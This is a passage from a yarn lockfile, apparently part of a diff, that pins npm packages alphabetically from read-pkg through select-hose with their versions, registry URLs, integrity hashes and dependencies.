normalize-package-data "^2.3.2" + path-type "^2.0.0" + +read-pkg@^5.2.0: + version "5.2.0" + resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-5.2.0.tgz#7bf295438ca5a33e56cd30e053b34ee7250c93cc" + integrity sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg== + dependencies: + "@types/normalize-package-data" "^2.4.0" + normalize-package-data "^2.5.0" + parse-json "^5.0.0" + type-fest "^0.6.0" + +"readable-stream@1 || 2", readable-stream@^2.0.0, readable-stream@^2.0.1, readable-stream@^2.0.2, readable-stream@^2.1.5, readable-stream@^2.2.2, readable-stream@^2.3.3, readable-stream@^2.3.6, readable-stream@~2.3.6: + version "2.3.7" + resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57" + integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw== + dependencies: + core-util-is "~1.0.0" + inherits "~2.0.3" + isarray "~1.0.0" + process-nextick-args "~2.0.0" + safe-buffer "~5.1.1" + string_decoder "~1.1.1" + util-deprecate "~1.0.1" + +readable-stream@^3.0.6, readable-stream@^3.1.1, readable-stream@^3.6.0: + version "3.6.0" + resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198" + integrity sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA== + dependencies: + inherits "^2.0.3" + string_decoder "^1.1.1" + util-deprecate "^1.0.1" + +readdirp@^2.2.1: + version "2.2.1" + resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-2.2.1.tgz#0e87622a3325aa33e892285caf8b4e846529a525" + integrity sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ== + dependencies: + graceful-fs "^4.1.11" + micromatch "^3.1.10" + readable-stream "^2.0.2" + +readdirp@~3.5.0: + version "3.5.0" + resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.5.0.tgz#9ba74c019b15d365278d2e91bb8c48d7b4d42c9e" + integrity sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ== + dependencies: + picomatch "^2.2.1" + +recursive-readdir@2.2.2: + version "2.2.2" + resolved "https://registry.yarnpkg.com/recursive-readdir/-/recursive-readdir-2.2.2.tgz#9946fb3274e1628de6e36b2f6714953b4845094f" + integrity sha512-nRCcW9Sj7NuZwa2XvH9co8NPeXUBhZP7CRKJtU+cS6PW9FpCIFoI5ib0NT1ZrbNuPoRy0ylyCaUL8Gih4LSyFg== + dependencies: + minimatch "3.0.4" + +redent@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/redent/-/redent-3.0.0.tgz#e557b7998316bb53c9f1f56fa626352c6963059f" + integrity sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg== + dependencies: + indent-string "^4.0.0" + strip-indent "^3.0.0" + +reduce-css-calc@^2.1.8: + version "2.1.8" + resolved "https://registry.yarnpkg.com/reduce-css-calc/-/reduce-css-calc-2.1.8.tgz#7ef8761a28d614980dc0c982f772c93f7a99de03" + integrity sha512-8liAVezDmUcH+tdzoEGrhfbGcP7nOV4NkGE3a74+qqvE7nt9i4sKLGBuZNOnpI4WiGksiNPklZxva80061QiPg== + dependencies: + css-unit-converter "^1.1.1" + postcss-value-parser "^3.3.0" + +regenerate-unicode-properties@^8.2.0: + version "8.2.0" + resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-8.2.0.tgz#e5de7111d655e7ba60c057dbe9ff37c87e65cdec" + integrity sha512-F9DjY1vKLo/tPePDycuH3dn9H1OTPIkVD9Kz4LODu+F2C75mgjAJ7x/gwy6ZcSNRAAkhNlJSOHRe8k3p+K9WhA== + dependencies: + regenerate "^1.4.0" + +regenerate@^1.4.0: + version "1.4.2" + resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a" + integrity sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A== + +regenerator-runtime@^0.11.0: + version "0.11.1" + resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz#be05ad7f9bf7d22e056f9726cee5017fbf19e2e9" + integrity sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg== + +regenerator-runtime@^0.13.4, regenerator-runtime@^0.13.7: + version "0.13.7" + resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.7.tgz#cac2dacc8a1ea675feaabaeb8ae833898ae46f55" + integrity sha512-a54FxoJDIr27pgf7IgeQGxmqUNYrcV338lf/6gH456HZ/PhX+5BcwHXG9ajESmwe6WRO0tAzRUrRmNONWgkrew== + +regenerator-transform@^0.14.2: + version "0.14.5" + resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.14.5.tgz#c98da154683671c9c4dcb16ece736517e1b7feb4" + integrity sha512-eOf6vka5IO151Jfsw2NO9WpGX58W6wWmefK3I1zEGr0lOD0u8rwPaNqQL1aRxUaxLeKO3ArNh3VYg1KbaD+FFw== + dependencies: + "@babel/runtime" "^7.8.4" + +regex-not@^1.0.0, regex-not@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/regex-not/-/regex-not-1.0.2.tgz#1f4ece27e00b0b65e0247a6810e6a85d83a5752c" + integrity sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A== + dependencies: + extend-shallow "^3.0.2" + safe-regex "^1.1.0" + +regex-parser@^2.2.11: + version "2.2.11" + resolved "https://registry.yarnpkg.com/regex-parser/-/regex-parser-2.2.11.tgz#3b37ec9049e19479806e878cabe7c1ca83ccfe58" + integrity sha512-jbD/FT0+9MBU2XAZluI7w2OBs1RBi6p9M83nkoZayQXXU9e8Robt69FcZc7wU4eJD/YFTjn1JdCk3rbMJajz8Q== + +regexp.prototype.flags@^1.2.0, regexp.prototype.flags@^1.3.1: + version "1.3.1" + resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.3.1.tgz#7ef352ae8d159e758c0eadca6f8fcb4eef07be26" + integrity sha512-JiBdRBq91WlY7uRJ0ds7R+dU02i6LKi8r3BuQhNXn+kmeLN+EfHhfjqMRis1zJxnlu88hq/4dx0P2OP3APRTOA== + dependencies: + call-bind "^1.0.2" + define-properties "^1.1.3" + +regexpp@^3.0.0, regexpp@^3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/regexpp/-/regexpp-3.1.0.tgz#206d0ad0a5648cffbdb8ae46438f3dc51c9f78e2" + integrity sha512-ZOIzd8yVsQQA7j8GCSlPGXwg5PfmA1mrq0JP4nGhh54LaKN3xdai/vHUDu74pKwV8OxseMS65u2NImosQcSD0Q== + +regexpu-core@^4.7.1: + version "4.7.1" + resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-4.7.1.tgz#2dea5a9a07233298fbf0db91fa9abc4c6e0f8ad6" + integrity sha512-ywH2VUraA44DZQuRKzARmw6S66mr48pQVva4LBeRhcOltJ6hExvWly5ZjFLYo67xbIxb6W1q4bAGtgfEl20zfQ== + dependencies: + regenerate "^1.4.0" + regenerate-unicode-properties "^8.2.0" + regjsgen "^0.5.1" + regjsparser "^0.6.4" + unicode-match-property-ecmascript "^1.0.4" + unicode-match-property-value-ecmascript "^1.2.0" + +regjsgen@^0.5.1: + version "0.5.2" + resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.5.2.tgz#92ff295fb1deecbf6ecdab2543d207e91aa33733" + integrity sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A== + +regjsparser@^0.6.4: + version "0.6.7" + resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.6.7.tgz#c00164e1e6713c2e3ee641f1701c4b7aa0a7f86c" + integrity sha512-ib77G0uxsA2ovgiYbCVGx4Pv3PSttAx2vIwidqQzbL2U5S4Q+j00HdSAneSBuyVcMvEnTXMjiGgB+DlXozVhpQ== + dependencies: + jsesc "~0.5.0" + +relateurl@^0.2.7: + version "0.2.7" + resolved "https://registry.yarnpkg.com/relateurl/-/relateurl-0.2.7.tgz#54dbf377e51440aca90a4cd274600d3ff2d888a9" + integrity sha1-VNvzd+UUQKypCkzSdGANP/LYiKk= + +remove-trailing-separator@^1.0.1: + version "1.1.0" + resolved "https://registry.yarnpkg.com/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz#c24bce2a283adad5bc3f58e0d48249b92379d8ef" + integrity sha1-wkvOKig62tW8P1jg1IJJuSN52O8= + +renderkid@^2.0.4: + version "2.0.5" + resolved "https://registry.yarnpkg.com/renderkid/-/renderkid-2.0.5.tgz#483b1ac59c6601ab30a7a596a5965cabccfdd0a5" + integrity sha512-ccqoLg+HLOHq1vdfYNm4TBeaCDIi1FLt3wGojTDSvdewUv65oTmI3cnT2E4hRjl1gzKZIPK+KZrXzlUYKnR+vQ== + dependencies: + css-select "^2.0.2" + dom-converter "^0.2" + htmlparser2 "^3.10.1" + lodash "^4.17.20" + strip-ansi "^3.0.0" + +repeat-element@^1.1.2: + version "1.1.3" + resolved "https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.3.tgz#782e0d825c0c5a3bb39731f84efee6b742e6b1ce" + integrity sha512-ahGq0ZnV5m5XtZLMb+vP76kcAM5nkLqk0lpqAuojSKGgQtn4eRi4ZZGm2olo2zKFH+sMsWaqOCW1dqAnOru72g== + +repeat-string@^1.6.1: + version "1.6.1" + resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637" + integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc= + +request-promise-core@1.1.4: + version "1.1.4" + resolved "https://registry.yarnpkg.com/request-promise-core/-/request-promise-core-1.1.4.tgz#3eedd4223208d419867b78ce815167d10593a22f" + integrity sha512-TTbAfBBRdWD7aNNOoVOBH4pN/KigV6LyapYNNlAPA8JwbovRti1E88m3sYAwsLi5ryhPKsE9APwnjFTgdUjTpw== + dependencies: + lodash "^4.17.19" + +request-promise-native@^1.0.8: + version "1.0.9" + resolved "https://registry.yarnpkg.com/request-promise-native/-/request-promise-native-1.0.9.tgz#e407120526a5efdc9a39b28a5679bf47b9d9dc28" + integrity sha512-wcW+sIUiWnKgNY0dqCpOZkUbF/I+YPi+f09JZIDa39Ec+q82CpSYniDp+ISgTTbKmnpJWASeJBPZmoxH84wt3g== + dependencies: + request-promise-core "1.1.4" + stealthy-require "^1.1.1" + tough-cookie "^2.3.3" + +request@^2.88.2: + version "2.88.2" + resolved "https://registry.yarnpkg.com/request/-/request-2.88.2.tgz#d73c918731cb5a87da047e207234146f664d12b3" + integrity sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw== + dependencies: + aws-sign2 "~0.7.0" + aws4 "^1.8.0" + caseless "~0.12.0" + combined-stream "~1.0.6" + extend "~3.0.2" + forever-agent "~0.6.1" + form-data "~2.3.2" + har-validator "~5.1.3" + http-signature "~1.2.0" + is-typedarray "~1.0.0" + isstream "~0.1.2" + json-stringify-safe "~5.0.1" + mime-types "~2.1.19" + oauth-sign "~0.9.0" + performance-now "^2.1.0" + qs "~6.5.2" + safe-buffer "^5.1.2" + tough-cookie "~2.5.0" + tunnel-agent "^0.6.0" + uuid "^3.3.2" + +require-directory@^2.1.1: + version "2.1.1" + resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42" + integrity sha1-jGStX9MNqxyXbiNE/+f3kqam30I= + +require-from-string@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/require-from-string/-/require-from-string-2.0.2.tgz#89a7fdd938261267318eafe14f9c32e598c36909" + integrity sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw== + +require-main-filename@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/require-main-filename/-/require-main-filename-2.0.0.tgz#d0b329ecc7cc0f61649f62215be69af54aa8989b" + integrity sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg== + +requires-port@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/requires-port/-/requires-port-1.0.0.tgz#925d2601d39ac485e091cf0da5c6e694dc3dcaff" + integrity sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8= + +resolve-cwd@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/resolve-cwd/-/resolve-cwd-2.0.0.tgz#00a9f7387556e27038eae232caa372a6a59b665a" + integrity sha1-AKn3OHVW4nA46uIyyqNypqWbZlo= + dependencies: + resolve-from "^3.0.0" + +resolve-cwd@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/resolve-cwd/-/resolve-cwd-3.0.0.tgz#0f0075f1bb2544766cf73ba6a6e2adfebcb13f2d" + integrity sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg== + dependencies: + resolve-from "^5.0.0" + +resolve-from@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-3.0.0.tgz#b22c7af7d9d6881bc8b6e653335eebcb0a188748" + integrity sha1-six699nWiBvItuZTM17rywoYh0g= + +resolve-from@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6" + integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g== + +resolve-from@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-5.0.0.tgz#c35225843df8f776df21c57557bc087e9dfdfc69" + integrity sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw== + +resolve-url-loader@^3.1.2: + version "3.1.2" + resolved "https://registry.yarnpkg.com/resolve-url-loader/-/resolve-url-loader-3.1.2.tgz#235e2c28e22e3e432ba7a5d4e305c59a58edfc08" + integrity sha512-QEb4A76c8Mi7I3xNKXlRKQSlLBwjUV/ULFMP+G7n3/7tJZ8MG5wsZ3ucxP1Jz8Vevn6fnJsxDx9cIls+utGzPQ== + dependencies: + adjust-sourcemap-loader "3.0.0" + camelcase "5.3.1" + compose-function "3.0.3" + convert-source-map "1.7.0" + es6-iterator "2.0.3" + loader-utils "1.2.3" + postcss "7.0.21" + rework "1.0.1" + rework-visit "1.0.0" + source-map "0.6.1" + +resolve-url@^0.2.1: + version "0.2.1" + resolved "https://registry.yarnpkg.com/resolve-url/-/resolve-url-0.2.1.tgz#2c637fe77c893afd2a663fe21aa9080068e2052a" + integrity sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo= + +resolve@1.18.1: + version "1.18.1" + resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.18.1.tgz#018fcb2c5b207d2a6424aee361c5a266da8f4130" + integrity sha512-lDfCPaMKfOJXjy0dPayzPdF1phampNWr3qFCjAu+rw/qbQmr5jWH5xN2hwh9QKfw9E5v4hwV7A+jrCmL8yjjqA== + dependencies: + is-core-module "^2.0.0" + path-parse "^1.0.6" + +resolve@^1.10.0, resolve@^1.12.0, resolve@^1.13.1, resolve@^1.14.2, resolve@^1.17.0, resolve@^1.18.1, resolve@^1.20.0, resolve@^1.3.2, resolve@^1.8.1: + version "1.20.0" + resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.20.0.tgz#629a013fb3f70755d6f0b7935cc1c2c5378b1975" + integrity sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A== + dependencies: + is-core-module "^2.2.0" + path-parse "^1.0.6" + +ret@~0.1.10: + version "0.1.15" + resolved "https://registry.yarnpkg.com/ret/-/ret-0.1.15.tgz#b8a4825d5bdb1fc3f6f53c2bc33f81388681c7bc" + integrity sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg== + +retry@^0.12.0: + version "0.12.0" + resolved "https://registry.yarnpkg.com/retry/-/retry-0.12.0.tgz#1b42a6266a21f07421d1b0b54b7dc167b01c013b" + integrity sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs= + +reusify@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76" + integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw== + +rework-visit@1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/rework-visit/-/rework-visit-1.0.0.tgz#9945b2803f219e2f7aca00adb8bc9f640f842c9a" + integrity sha1-mUWygD8hni96ygCtuLyfZA+ELJo= + +rework@1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/rework/-/rework-1.0.1.tgz#30806a841342b54510aa4110850cd48534144aa7" + integrity sha1-MIBqhBNCtUUQqkEQhQzUhTQUSqc= + dependencies: + convert-source-map "^0.3.3" + css "^2.0.0" + +rgb-regex@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/rgb-regex/-/rgb-regex-1.0.1.tgz#c0e0d6882df0e23be254a475e8edd41915feaeb1" + integrity sha1-wODWiC3w4jviVKR16O3UGRX+rrE= + +rgba-regex@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/rgba-regex/-/rgba-regex-1.0.0.tgz#43374e2e2ca0968b0ef1523460b7d730ff22eeb3" + integrity sha1-QzdOLiyglosO8VI0YLfXMP8i7rM= + +rimraf@^2.5.4, rimraf@^2.6.3: + version "2.7.1" + resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec" + integrity sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w== + dependencies: + glob "^7.1.3" + +rimraf@^3.0.0, rimraf@^3.0.2: + version "3.0.2" + resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a" + integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA== + dependencies: + glob "^7.1.3" + +ripemd160@^2.0.0, ripemd160@^2.0.1: + version "2.0.2" + resolved "https://registry.yarnpkg.com/ripemd160/-/ripemd160-2.0.2.tgz#a1c1a6f624751577ba5d07914cbc92850585890c" + integrity sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA== + dependencies: + hash-base "^3.0.0" + inherits "^2.0.1" + +rollup-plugin-babel@^4.3.3: + version "4.4.0" + resolved "https://registry.yarnpkg.com/rollup-plugin-babel/-/rollup-plugin-babel-4.4.0.tgz#d15bd259466a9d1accbdb2fe2fff17c52d030acb" + integrity sha512-Lek/TYp1+7g7I+uMfJnnSJ7YWoD58ajo6Oarhlex7lvUce+RCKRuGRSgztDO3/MF/PuGKmUL5iTHKf208UNszw== + dependencies: + "@babel/helper-module-imports" "^7.0.0" + rollup-pluginutils "^2.8.1" + +rollup-plugin-terser@^5.3.1: + version "5.3.1" + resolved "https://registry.yarnpkg.com/rollup-plugin-terser/-/rollup-plugin-terser-5.3.1.tgz#8c650062c22a8426c64268548957463bf981b413" + integrity sha512-1pkwkervMJQGFYvM9nscrUoncPwiKR/K+bHdjv6PFgRo3cgPHoRT83y2Aa3GvINj4539S15t/tpFPb775TDs6w== + dependencies: + "@babel/code-frame" "^7.5.5" + jest-worker "^24.9.0" + rollup-pluginutils "^2.8.2" + serialize-javascript "^4.0.0" + terser "^4.6.2" + +rollup-pluginutils@^2.8.1, rollup-pluginutils@^2.8.2: + version "2.8.2" + resolved "https://registry.yarnpkg.com/rollup-pluginutils/-/rollup-pluginutils-2.8.2.tgz#72f2af0748b592364dbd3389e600e5a9444a351e" + integrity sha512-EEp9NhnUkwY8aif6bxgovPHMoMoNr2FulJziTndpt5H9RdwC47GSGuII9XxpSdzVGM0GWrNPHV6ie1LTNJPaLQ== + dependencies: + estree-walker "^0.6.1" + +rollup@^1.31.1: + version "1.32.1" + resolved "https://registry.yarnpkg.com/rollup/-/rollup-1.32.1.tgz#4480e52d9d9e2ae4b46ba0d9ddeaf3163940f9c4" + integrity sha512-/2HA0Ec70TvQnXdzynFffkjA6XN+1e2pEv/uKS5Ulca40g2L7KuOE3riasHoNVHOsFD5KKZgDsMk1CP3Tw9s+A== + dependencies: + "@types/estree" "*" + "@types/node" "*" + acorn "^7.1.0" + +rsvp@^4.8.4: + version "4.8.5" + resolved "https://registry.yarnpkg.com/rsvp/-/rsvp-4.8.5.tgz#c8f155311d167f68f21e168df71ec5b083113734" + integrity sha512-nfMOlASu9OnRJo1mbEk2cz0D56a1MBNrJ7orjRZQG10XDyuvwksKbuXNp6qa+kbn839HwjwhBzhFmdsaEAfauA== + +run-parallel@^1.1.9: + version "1.2.0" + resolved "https://registry.yarnpkg.com/run-parallel/-/run-parallel-1.2.0.tgz#66d1368da7bdf921eb9d95bd1a9229e7f21a43ee" + integrity sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA== + dependencies: + queue-microtask "^1.2.2" + +run-queue@^1.0.0, run-queue@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/run-queue/-/run-queue-1.0.3.tgz#e848396f057d223f24386924618e25694161ec47" + integrity sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec= + dependencies: + aproba "^1.1.1" + +safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1: + version "5.1.2" + resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d" + integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g== + +safe-buffer@>=5.1.0, safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@~5.2.0: + version "5.2.1" + resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6" + integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ== + +safe-regex@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/safe-regex/-/safe-regex-1.1.0.tgz#40a3669f3b077d1e943d44629e157dd48023bf2e" + integrity sha1-QKNmnzsHfR6UPURinhV91IAjvy4= + dependencies: + ret "~0.1.10" + +"safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0: + version "2.1.2" + resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a" + integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg== + +sane@^4.0.3: + version "4.1.0" + resolved "https://registry.yarnpkg.com/sane/-/sane-4.1.0.tgz#ed881fd922733a6c461bc189dc2b6c006f3ffded" + integrity sha512-hhbzAgTIX8O7SHfp2c8/kREfEn4qO/9q8C9beyY6+tvZ87EpoZ3i1RIEvp27YBswnNbY9mWd6paKVmKbAgLfZA== + dependencies: + "@cnakazawa/watch" "^1.0.3" + anymatch "^2.0.0" + capture-exit "^2.0.0" + exec-sh "^0.3.2" + execa "^1.0.0" + fb-watchman "^2.0.0" + micromatch "^3.1.4" + minimist "^1.1.1" + walker "~1.0.5" + +sanitize.css@^10.0.0: + version "10.0.0" + resolved "https://registry.yarnpkg.com/sanitize.css/-/sanitize.css-10.0.0.tgz#b5cb2547e96d8629a60947544665243b1dc3657a" + integrity sha512-vTxrZz4dX5W86M6oVWVdOVe72ZiPs41Oi7Z6Km4W5Turyz28mrXSJhhEBZoRtzJWIv3833WKVwLSDWWkEfupMg== + +sass-loader@^10.0.5: + version "10.1.1" + resolved "https://registry.yarnpkg.com/sass-loader/-/sass-loader-10.1.1.tgz#4ddd5a3d7638e7949065dd6e9c7c04037f7e663d" + integrity sha512-W6gVDXAd5hR/WHsPicvZdjAWHBcEJ44UahgxcIE196fW2ong0ZHMPO1kZuI5q0VlvMQZh32gpv69PLWQm70qrw== + dependencies: + klona "^2.0.4" + loader-utils "^2.0.0" + neo-async "^2.6.2" + schema-utils "^3.0.0" + semver "^7.3.2" + +sax@~1.2.4: + version "1.2.4" + resolved "https://registry.yarnpkg.com/sax/-/sax-1.2.4.tgz#2816234e2378bddc4e5354fab5caa895df7100d9" + integrity sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw== + +saxes@^5.0.0: + version "5.0.1" + resolved "https://registry.yarnpkg.com/saxes/-/saxes-5.0.1.tgz#eebab953fa3b7608dbe94e5dadb15c888fa6696d" + integrity sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw== + dependencies: + xmlchars "^2.2.0" + +scheduler@^0.20.2: + version "0.20.2" + resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.20.2.tgz#4baee39436e34aa93b4874bddcbf0fe8b8b50e91" + integrity sha512-2eWfGgAqqWFGqtdMmcL5zCMK1U8KlXv8SQFGglL3CEtd0aDVDWgeF/YoCmvln55m5zSk3J/20hTaSBeSObsQDQ== + dependencies: + loose-envify "^1.1.0" + object-assign "^4.1.1" + +schema-utils@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-1.0.0.tgz#0b79a93204d7b600d4b2850d1f66c2a34951c770" + integrity sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g== + dependencies: + ajv "^6.1.0" + ajv-errors "^1.0.0" + ajv-keywords "^3.1.0" + +schema-utils@^2.6.5, schema-utils@^2.7.0, schema-utils@^2.7.1: + version "2.7.1" + resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-2.7.1.tgz#1ca4f32d1b24c590c203b8e7a50bf0ea4cd394d7" + integrity sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg== + dependencies: + "@types/json-schema" "^7.0.5" + ajv "^6.12.4" + ajv-keywords "^3.5.2" + +schema-utils@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-3.0.0.tgz#67502f6aa2b66a2d4032b4279a2944978a0913ef" + integrity sha512-6D82/xSzO094ajanoOSbe4YvXWMfn2A//8Y1+MUqFAJul5Bs+yn36xbK9OtNDcRVSBJ9jjeoXftM6CfztsjOAA== + dependencies: + "@types/json-schema" "^7.0.6" + ajv "^6.12.5" + ajv-keywords "^3.5.2" + +select-hose@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/select-hose/-/select-hose-2.0.0.tgz#625d8658f865af43ec962bfc376a37359a4994ca" + integrity 